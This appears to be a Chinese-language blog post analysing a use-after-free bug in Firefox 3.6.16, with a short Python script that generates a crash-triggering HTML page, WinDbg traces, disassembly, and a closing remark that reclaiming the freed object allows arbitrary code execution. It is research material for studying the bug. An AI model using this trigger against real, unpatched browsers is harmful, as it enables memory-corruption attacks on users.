作者:k0shl 转载请注明出处:http://whereisk0shl.top
今天是母亲节,祝天下的妈妈们身体健康,幸福快乐!
漏洞说明
软件下载:
https://www.exploit-db.com/apps/1b7d038f1ca394ef19714846091f7464-Firefox_Setup_3.6.16.exe
PoC:
#!/usr/bin/python
#coding:utf-8
print "[+]Create File"
buffer = "<html>\n"
buffer += "<body>\n"
buffer += "<object id=\"d\"><object>\n"
buffer += "<script type=\"text/javascript\">\n"
buffer += "var e;\n"
buffer += "e=document.getElementById(\"d\");\n"
buffer += "e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);\n"
buffer += "e.data = \"\";\n"
buffer += "</script>\n"
buffer += "</body>\n"
buffer += "<ml>\n"
f = open("firefox_poc.html",'w')
f.write(buffer)
print "[+]Success"
f.close()
测试环境:
Windows xp sp3
这里exploit-db提供了存在漏洞的firefox,版本比较老了,但是漏洞很经典,可以尝试作为浏览器漏洞利用的入门漏洞,运行python会生成一个畸形的html文件,之后用存在漏洞的火狐浏览器打开,触发漏洞。
火狐浏览器也提供了符号表服务器,能直接读到函数名称,还是比较好的。
地址是:http://symbols.mozilla.org/firefox
漏洞复现
此漏洞是由于Mozilla Firefox的xul.dll在处理mChannel标签时,在OnChannelRedirect中对mChannel对象进行创建,但在随后调用Release释放,在释放对象过后没有对该指针进行标记,从而导致在随后的调用用中引用mChannel标签时,由于指针已经被释放,导致call地址不可读,从而引发漏洞,下面对此漏洞进行详细分析。
首先打开PoC,火狐浏览器崩溃,附加调试器,到达漏洞现场。
(858.85c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=031bc9b0 ebx=035066c4 ecx=033fb000 edx=01dae070 esi=804b0002 edi=80000000
eip=01bc7cdc esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
01bc7cdc 80e5cc and ch,0CCh
通过上下文观察,此处是一处无意义的地址区域,我通过kb回溯堆栈调用情况,来看看到达无意义区域前的情况。
0:000> kb
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f1f8 107f4e75 0431e870 804b0002 00000000 0x58dfccc
0012f408 107f5659 042ff584 02dbd870 00000001 xul!nsObjectLoadingContent::LoadObject+0x108 [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsobjectloadingcontent.cpp @ 1204]
0012f438 107f6155 042ff584 0012f4f0 00000001 xul!nsObjectLoadingContent::LoadObject+0xcd [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsobjectloadingcontent.cpp @ 1109]
0012f5dc 107f61a3 042ff560 00000001 100b2902 xul!nsHTMLObjectElement::StartObjectLoad+0x84 [e:\builds\moz2_slave\rel-192-w32-bld\build\content\html\content\src\nshtmlobjectelement.cpp @ 456]
0012f5e8 100b2902 00000001 04318240 02f55400 xul!nsHTMLObjectElement::DoneAddingChildren+0x17 [e:\builds\moz2_slave\rel-192-w32-bld\build\content\html\content\src\nshtmlobjectelement.cpp @ 174]
0012f604 100b21d2 00000048 00000000 00000000 xul!SinkContext::CloseContainer+0xd2 [e:\builds\moz2_slave\rel-192-w32-bld\build\content\html\document\src\nshtmlcontentsink.cpp @ 1018]
这里我使用firefox的符号服务器,所以可以加载正常的调用情况,这里我来一下之前的触发场景。
eax=02f416f0 ebx=043caee4 ecx=037a4400 edx=02935ee0 esi=804b0002 edi=80000000
eip=107f4e72 esp=0012f200 ebp=0012f408 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!gfxFontUtils::ReadNames+0x14732:
107f4e72 ff5118 call dword ptr [ecx+18h] ds:0023:037a4418=02eafcbc
可以看到,正是这处call调用导致程序进入无意义的地址区域,call函数调用的是一处指针,寄存器ecx的值是一处无意义的值,根据UAF可以判断ecx可能是一处虚函数,由于指针释放后虚表对应地址变成无意义的地址,因此造成释放后重用漏洞。
在分析前要说明的是,由于虚函数地址不固定,每次分析时地址都会产生一些变化,但只要记住寄存器的值,对分析并不造成影响。我们来看一下call函数发生时堆中的情况。
漏洞分析
首先我们关注一下PoC中的代码
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
在这里调用了onChannelRedirect函数,我可以通过IDA Pro找到这处函数调用。
.text:104623B0 ; unsigned int __stdcall nsObjectLoadingContent::OnChannelRedirect(nsObjectLoadingContent *this, nsIChannel *aOldChannel, nsIChannel *aNewChannel, unsigned int aFlags)
.text:104623B0 ?OnChannelRedirect@nsObjectLoadingContent@@UAGIPAVnsIChannel@@0I@Z proc near
.text:104623B0
.text:104623B0 this = dword ptr 4
.text:104623B0 aOldChannel = dword ptr 8
.text:104623B0 aNewChannel = dword ptr 0Ch
.text:104623B0 aFlags = dword ptr 10h
.text:104623B0
.text:104623B0 mov ecx, [esp+8]
.text:104623B4 push esi
.text:104623B5 mov esi, [esp+8]
.text:104623B9 cmp ecx, [esi+1Ch]
.text:104623BC jz short loc_104623C5
.text:104623BE mov eax, 804B0002h
.text:104623C3 jmp short loc_104623DF
.text:104623C5 ; ---------------------------------------------------------------------------
.text:104623C5
.text:104623C5 loc_104623C5: ; CODE XREF: nsObjectLoadingContent::OnChannelRedirect(nsIChannel *,nsIChannel *,uint)+Cj
.text:104623C5 mov eax, [esi+24h]
.text:104623C8 test eax, eax
.text:104623CA push edi
.text:104623CB mov edi, [esp+14h]
.text:104623CF jz short loc_104623D9
.text:104623D1 mov edx, [eax]
.text:104623D3 push edi
.text:104623D4 push ecx
.text:104623D5 push eax
.text:104623D6 call dword ptr [edx+10h]
.text:104623D9
.text:104623D9 loc_104623D9: ; CODE XREF: nsObjectLoadingContent::OnChannelRedirect(nsIChannel *,nsIChannel *,uint)+1Fj
.text:104623D9 mov [esi+1Ch], edi
.text:104623DC xor eax, eax
.text:104623DE pop edi
.text:104623DF
.text:104623DF loc_104623DF: ; CODE XREF: nsObjectLoadingContent::OnChannelRedirect(nsIChannel *,nsIChannel *,uint)+13j
.text:104623DF pop esi
.text:104623E0 retn 10h
暂时不用关注这个函数的执行内容,在函数入口104623B0地址下断点,重新加载PoC,命中断点。
Breakpoint 0 hit
eax=00000003 ebx=0012eed8 ecx=03992f18 edx=109e11cc esi=00000000 edi=00000002
eip=104623b0 esp=0012ebf0 ebp=0012ec10 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!nsObjectLoadingContent::OnChannelRedirect:
104623b0 8b4c2408 mov ecx,dword ptr [esp+8] ss:0023:0012ebf8=00000000
这时我们通过kb回溯堆栈,找到之前的调用位置
0:000> kb
ChildEBP RetAddr Args to Child
0012ebec 10274b06 03992f18 00000000 060bcce0 xul!nsObjectLoadingContent::OnChannelRedirect [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsobjectloadingcontent.cpp @ 1017]
0012ec10 1010f422 03992f18 00000003 00000003 xul!NS_InvokeByIndex_P+0x27 [e:\builds\moz2_slave\rel-192-w32-bld\build\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp @ 103]
0012eea8 10118bf3 0012eed8 00000000 00000000 xul!XPCWrappedNative::CallMethod+0x572 [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappednative.cpp @ 2722]
0012ef74 00516add 03b1bc00 060a1940 00000003 xul!XPC_WN_CallMethod+0x173 [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappednativejsops.cpp @ 1740]
0012f028 0051b800 03b1bc00 00000003 0390101c js3250!js_Invoke+0x42d [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1360]
0012f254 004f7195 03b1bc00 0012f304 060cc040 js3250!js_Interpret+0x29a0 [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsops.cpp @ 2241]
0012f2d8 004e41d1 061f2aa0 060cc040 00000000 js3250!js_Execute+0x1a5 [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1601]
0012f304 1007f780 03b1bc00 061f2aa0 05aedd84 js3250!JS_EvaluateUCScriptForPrincipals+0x61 [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsapi.cpp @ 5058]
0012f378 1007f57a 0012f44c 061f2aa0 05aedd80 xul!nsJSContext::EvaluateString+0x158 [e:\builds\moz2_slave\rel-192-w32-bld\build\dom\base\nsjsenvironment.cpp @ 1764]
0012f430 10015587 03a57850 0012f44c 061dc550 xul!nsScriptLoader::EvaluateScript+0x18f [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptloader.cpp @ 711]
0012f4e4 10072b18 061dc550 061dc550 060a2ea4 xul!nsScriptLoader::ProcessRequest+0x6f [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptloader.cpp @ 625]
通过IDA可以看到调用前的上下文
10274afa 8b4d08 mov ecx,dword ptr [ebp+8]
10274afd 51 push ecx
10274afe 8b11 mov edx,dword ptr [ecx]
10274b00 8b450c mov eax,dword ptr [ebp+0Ch]
10274b03 ff1482 call dword ptr [edx+eax*4]
实际上,10274b03是firefox中负责动态加载函数调用的函数,在这里下断点,重新加载PoC后会不断命中这处断点,这时我使用条件断点,这样就能顺利中断在OnChannelRedirect函数位置。
0:000> bp 10274b03 ".if(poi(edx+eax*4)==0x104623B0){;}.else{g;}"
eax=00000003 ebx=0012ef18 ecx=04e5e838 edx=109e11cc esi=00000000 edi=00000002
eip=10274b03 esp=0012ec34 ebp=0012ec50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!NS_InvokeByIndex_P+0x24:
10274b03 ff1482 call dword ptr [edx+eax*4] ds:0023:109e11d8={xul!nsObjectLoadingContent::OnChannelRedirect (104623b0)}
中断后,我们要关注ecx的值,实际上这个值和后续函数成型有关。
0:000> dd 041e7438
041e7438 109e11cc 00000000 00000000 00000000
041e7448 10abd5ac 00000000 00000001 01921910
041e7458 00000000 00000000 00000000 00000004
041e7468 109e11e0 109e1348 00000000 00000000
041e7478 00000000 00000000 109e0e90 00000000
041e7488 03ef6ef0 041e73e3 00200001 00000005
041e7498 041e6860 109e10b8 00000000 109e10f0
041e74a8 00000000 00000000 00000000 00000000
0:000> dd 041e7438-34
041e7404 109e10f0 00000000 00000000 00000000
041e7414 00000000 00000000 00000000 00110001
041e7424 109e1158 109e1170 109e1184 109e11a8
041e7434 109e11bc 109e11cc 00000000 00000000
041e7444 00000000 10abd5ac 00000000 00000001
041e7454 01921910 00000000 00000000 00000000
041e7464 00000004 109e11e0 109e1348 00000000
041e7474 00000000 00000000 00000000 109e0e90
0:000> dd 041e7438-34+50
041e7454 01921910 00000000 00000000 00000000
041e7464 00000004 109e11e0 109e1348 00000000
041e7474 00000000 00000000 00000000 109e0e90
041e7484 00000000 03ef6ef0 041e73e3 00200001
041e7494 00000005 041e6860 109e10b8 00000000
041e74a4 109e10f0 00000000 00000000 00000000
041e74b4 00000000 00000000 00000000 00110001
041e74c4 109e1158 109e1170 109e1184 109e11a8
实际上,ecx-34+50这个地址位置,和最后对象相关,通过对比发现,ecx-34+50这个地址的值就是eax的值,而eax是最后call [ecx+18]位置的第一个参数,是一个类对象。
接下来我们重新加载PoC,仍然下条件断点,命中后我们观察ecx-34+50的值。
0:014> bp 10274b03 ".if(poi(edx+eax*4)==0x104623B0){;}.else{g;}"
0:014> g
ModLoad: 72c90000 72c99000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72c90000 72c99000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72c80000 72c88000 C:\WINDOWS\system32\msacm32.drv
ModLoad: 77bb0000 77bc5000 C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll
ModLoad: 76d70000 76d92000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 76590000 765de000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76570000 7658c000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 75ef0000 75fed000 C:\WINDOWS\system32\browseui.dll
ModLoad: 76960000 76984000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76950000 76958000 C:\WINDOWS\system32\LINKINFO.dll
eax=00000003 ebx=0012eed8 ecx=0806c7f8 edx=109e11cc esi=00000000 edi=00000002
eip=10274b03 esp=0012ebf4 ebp=0012ec10 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!NS_InvokeByIndex_P+0x24:
10274b03 ff1482 call dword ptr [edx+eax*4] ds:0023:109e11d8={xul!nsObjectLoadingContent::OnChannelRedirect (104623b0)}
0:000> dd ecx-34+50
0806c814 00000000 00000000 00000000 00600000
0806c824 00000004 109e11e0 109e1348 00000000
0806c834 00000000 00000000 00000000 109e0e90
0806c844 00000000 0809e070 0806c7a3 00200001
0806c854 00000005 07da22c0 109e10b8 00000000
0806c864 109e10f0 00000000 00000000 00000000
0806c874 00000000 00000000 006d007c 00110001
0806c884 109e1158 109e1170 109e1184 109e11a8
可以看到,这个存放对象地址的位置还是00000000,这个值还没有被赋值,接下来,我们在这里下内存写入断点ba w1
0:000> ba w1 0806c814
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=0012eed8 ecx=00000000 edx=109e11cc esi=0806c7f8 edi=041a4470
eip=104623dc esp=0012ebe8 ebp=0012ec10 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!nsObjectLoadingContent::OnChannelRedirect+0x2c:
104623dc 33c0 xor eax,eax
执行后,在OnChannelRedirect函数内部中断,这时候我们再次观察对象地址。
0:000> dd 0806c814
0806c814 041a4470 00000000 00000000 00600000
0806c824 00000004 109e11e0 109e1348 00000000
0806c834 00000000 00000000 00000000 109e0e90
0806c844 00000000 0809e070 0806c7a3 00200001
0806c854 00000005 07da22c0 109e10b8 00000000
0806c864 109e10f0 00000000 00000000 00000000
0806c874 00000000 00000000 006d007c 00110001
0806c884 109e1158 109e1170 109e1184 109e11a8
0:000> dd 041a4470
041a4470 10a67278 07eaa440 008af870 087a2818
041a4480 1097d6b8 1097d6c8 1097d730 00000004
041a4490 00000000 00348052 01a40290 041a8ae0
041a44a0 756c6156 46545565 07ef0038 07ef8c40
041a44b0 10a68144 00000001 03fdec40 00005eec
041a44c0 10a68144 00000001 08023100 00005f02
041a44d0 10a68144 00000001 02dfd430 00000004
041a44e0 10a691a0 00000001 008ae4e0 04249180
可以看到对象已经被赋值了,而此时对象中对应的位置的值也是正常的10a67278,这个值就是虚函数ecx的值,因此,我们需要观察这处对象和虚函数值的变化,对041a4470位置再下一个执行断点,继续跟踪。
0:000> ba w1 041a4470
0:000> g
Breakpoint 2 hit
eax=041a4470 ebx=0081a16c ecx=080234c0 edx=006d0040 esi=0012ec24 edi=07eaa440
eip=101389fa esp=0012ec08 ebp=00886260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
xul!nsXPCWrappedJS::Release+0x18a:
101389fa e897761b00 call xul!operator delete (102f0096)
0:000> dd 0806c814
0806c814 041a4470 00000000 00000000 00600000
0806c824 00000004 109e11e0 109e1348 00000000
0806c834 00000000 00000000 00000000 109e0e90
0806c844 00000000 0809e070 0806c7a3 00200001
0806c854 00000005 07da22c0 109e10b8 00000000
0806c864 109e10f0 00000000 00000000 00000000
0806c874 00000000 00000000 006d007c 00110001
0806c884 109e1158 109e1170 109e1184 109e11a8
0:000> dd 041a4470
041a4470 10a67278 07eaa440 008af870 087a2818
041a4480 1097d6b8 1097d6c8 1097d730 00000004
041a4490 00000000 00348052 01a40290 041a8ae0
041a44a0 756c6156 46545565 07ef0038 07ef8c40
041a44b0 10a68144 00000001 03fdec40 00005eec
041a44c0 10a68144 00000001 08023100 00005f02
041a44d0 10a68144 00000001 02dfd430 00000004
041a44e0 10a691a0 00000001 008ae4e0 04249180
程序中断在Release函数中的一处call调用operator delete,这里就是释放对象的调用了,我们继续执行。
0:000> g
Breakpoint 2 hit
eax=041a4470 ebx=0012edf8 ecx=00000000 edx=006d0040 esi=00000000 edi=080233d0
eip=1010fff1 esp=0012eb48 ebp=0012edc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
xul!XPCWrappedNative::CallMethod+0x1141:
1010fff1 894804 mov dword ptr [eax+4],ecx ds:0023:041a4474=07eaa440
0:000> dd 041a4470
041a4470 00000000 07eaa440 008af870 087a2818
041a4480 1097d6b8 1097d6c8 1097d730 00000004
041a4490 00000000 00348052 01a40290 041a8ae0
041a44a0 756c6156 46545565 07ef0038 07ef8c40
041a44b0 10a68144 00000001 03fdec40 00005eec
041a44c0 10a68144 00000001 08023100 00005f02
041a44d0 10a68144 00000001 02dfd430 00000004
041a44e0 10a691a0 00000001 008ae4e0 04249180
可以看到在xul.dll的CallMethod函数执行时,041a4470位置已经被释放了,接下来会调用InitTear,这个对象地址位置会被赋予其他值。
0:000> g
Breakpoint 2 hit
eax=008ae4e0 ebx=07ddf800 ecx=0806c828 edx=08023490 esi=041a4470 edi=080233d0
eip=10111c42 esp=0012eaf8 ebp=0806c7a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!XPCWrappedNative::InitTearOff+0x1a2:
10111c42 894e04 mov dword ptr [esi+4],ecx ds:0023:041a4474=00000000
0:000> dd 041a4470
041a4470 07ddf800 00000000 00000000 00000000
041a4480 1097d6b8 1097d6c8 1097d730 00000004
041a4490 00000000 00348052 01a40290 041a8ae0
041a44a0 756c6156 46545565 07ef0038 07ef8c40
041a44b0 10a68144 00000001 03fdec40 00005eec
041a44c0 10a68144 00000001 08023100 00005f02
041a44d0 10a68144 00000001 02dfd430 00000004
041a44e0 10a691a0 00000001 008ae4e0 04249180
继续执行,到达漏洞现场。
0:000> g
(fbc.7a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=041a4470 ebx=0806c7c4 ecx=07ddf800 edx=03fdef10 esi=804b0002 edi=80000000
eip=01d1c884 esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
01d1c884 20e8 and al,ch
0:000> dd 041a4470
041a4470 07ddf800 0806c828 00000000 00000000
041a4480 1097d6b8 1097d6c8 1097d730 00000004
041a4490 00000000 00348052 01a40290 041a8ae0
041a44a0 756c6156 46545565 07ef0038 07ef8c40
041a44b0 10a68144 00000001 03fdec40 00005eec
041a44c0 10a68144 00000001 08023100 00005f02
041a44d0 10a68144 00000001 02dfd430 00000004
041a44e0 10a691a0 00000001 008ae4e0 04249180
0:000> dd 07ddf800
07ddf800 041a44e0 038209cc 0000004c 016ee29c
07ddf810 00000000 00020000 01d1c884 00000000
07ddf820 00080003 01ed5994 00000000 00180004
07ddf830 01c4eacc 00000000 00080006 0432a604
07ddf840 00000000 00080007 01c4e234 00000000
07ddf850 00080008 01946594 00000000 00080009
07ddf860 01c4b79c 00000000 0008000a 01c4b7a4
07ddf870 00000000 0008000b 01c4e7fc 00000000
来看一下最后标签调用函数LoadObject。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f600 107f4e75 041a4470 804b0002 00000000 0x1d1c884
0012f814 107f5659 0806c7c4 08c818a0 00000001 xul!nsObjectLoadingContent::LoadObject+0x108 [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsobjectloadingcontent.cpp @ 1204]
0012f844 107f6155 0806c7c4 0012f8fc 00000001 xul!nsObjectLoadingContent::LoadObject+0xcd [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsobjectloadingcontent.cpp @ 1109]
漏洞关键在于释放函数Release调用后,没有对该指针对应位置进行标记释放,从而导致程序执行到加载标签LoadObject时,认为此处仍然还有值,继续调用虚函数,从而导致释放后重用。来看一下Release的函数代码。
int __stdcall nsXPCWrappedJS::Release(nsXPCWrappedJS *this)
{
XPCJSRuntime *v1; // ebp@1
nsXPCWrappedJS *v2; // edi@1
char *v3; // ebx@1
int v4; // eax@2
XPCAutoLock *v5; // ecx@2
int v6; // esi@3
XPCAutoLock *v8; // ecx@5
XPCRootSetElem *v9; // eax@6
unsigned int (__stdcall *v10)(nsISupports *); // eax@12
bool v11; // zf@13
XPCJSRuntime *v12; // eax@14
JSDHashTable **v13; // ebx@14
XPCAutoLock *v14; // ecx@15
nsXPCWrappedJS *v15; // eax@16
nsWeakReference *v16; // eax@17
nsXPCWrappedJSClass *v17; // eax@19
unsigned int (__stdcall *v18)(nsXPCWrappedJSClass *); // ecx@20
nsWeakReference *v19; // eax@24
nsISupports *v20; // eax@26
nsISupports *v21; // eax@33
XPCJSRuntime *v22; // ecx@33
nsISupports *v23; // ST04_4@39
nsXPCWrappedJSClass *v24; // [sp-4h] [bp-18h]@20
XPCAutoLock v25; // [sp+10h] [bp-4h]@1
v1 = nsXPConnect::GetXPConnect()->mRuntime;
XPCAutoLock::XPCAutoLock(&v25, v1->mMapLock);
v2 = this;
v3 = (char *)&this->mRefCnt;
while ( 1 )
{
v4 = _PR_AtomicDecrement(v3);
if ( !v4 )
break;
v6 = v4;
if ( v4 != 1 )
{
XPCAutoLock::~XPCAutoLock(v5);
return v6;
}
if ( nsXPCWrappedJS::IsValid(v2) )
{
this = (nsXPCWrappedJS *)v1->mJSRuntime;
_PR_Lock(this[8].vfptr);
*v2->mSelfp = v2->mNext;
v9 = v2->mNext;
if ( v9 )
v9->mSelfp = v2->mSelfp;
_PR_Unlock(this[8].vfptr);
}
if ( v2->mProxy )
{
XPCAutoLock::~XPCAutoLock(v8);
return v6;
}
}
if ( v2 )
{
v10 = v2->vfptr[1].AddRef;
if ( (char *)v10 == (char *)nsXPCWrappedJS::`vector deleting destructor' )
{
v11 = v2->mRoot == v2;
v2->vfptr = (nsISupportsVtbl *)&nsXPCWrappedJS::`vftable'{for `nsAutoXPTCStub'};
v2->vfptr = (nsISupportsVtbl *)&nsXPCWrappedJS::`vftable'{for `nsIXPConnectWrappedJS'};
v2->vfptr = (nsISupportsVtbl *)&nsXPCWrappedJS::`vftable'{for `nsSupportsWeakReference'};
v2->vfptr = (nsISupportsVtbl *)&nsXPCWrappedJS::`vftable'{for `nsIPropertyBag'};
if ( v11 )
{
v12 = nsXPConnect::GetXPConnect()->mRuntime;
v13 = &v12->mWrappedJSMap->mTable;
if ( v13 )
{
XPCAutoLock::XPCAutoLock((XPCAutoLock *)&this, v12->mMapLock);
JS_DHashTableOperate(*v13, v2->mJSObj, 2);
XPCAutoLock::~XPCAutoLock(v14);
}
}
v15 = v2->mRoot;
if ( v15 == v2 )
{
v16 = v2->mProxy;
if ( v16 )
{
v16->mReferent = 0;
v2->mProxy = 0;
}
}
else if ( v15 )
{
for ( ; v15->mNext != v2; v15 = v15->mNext )
;
v15->mNext = v2->mNext;
v2->mRoot->vfptr->Release((nsISupports *)v2->mRoot);
v2->mRoot = 0;
}
v17 = v2->mClass;
if ( v17 )
{
v18 = (unsigned int (__stdcall *)(nsXPCWrappedJSClass *))v17->vfptr->Release;
v24 = v2->mClass;
if ( v18 == nsXPCWrappedJSClass::Release )
nsXPCWrappedJSClass::Release(v24);
else
v18(v24);
v2->mClass = 0;
}
if ( v2->mOuter )
{
v21 = (nsISupports *)nsXPConnect::GetXPConnect()->mRuntime;
if ( v21[49].vfptr )
{
v23 = v2->mOuter;
XPCJSRuntime::DeferredRelease(v22, v21);
}
else
{
v2->mOuter->vfptr->Release(v2->mOuter);
}
v2->mOuter = 0;
}
v19 = v2->mProxy;
v2->vfptr = (nsISupportsVtbl *)&nsSupportsWeakReference::`vftable';
if ( v19 )
{
v19->mReferent = 0;
v2->mProxy = 0;
}
v20 = v2->mXPTCStub;
v2->vfptr = (nsISupportsVtbl *)&nsAutoXPTCStub::`vftable';
if ( v20 )
{
v20->vfptr = (nsISupportsVtbl *)&nsXPTCStubBase::`vftable';
operator delete(v20);
}
operator delete(v2);
}
else
{
((void (__thiscall *)(nsXPCWrappedJS *, signed int))v10)(v2, 1);
}
}
XPCAutoLock::~XPCAutoLock(v5);
return 0;
}
在利用时,可以在对象释放后,使用其他结构占位,从而覆盖虚表指针,从而在call [ecx+18]时执行任意代码。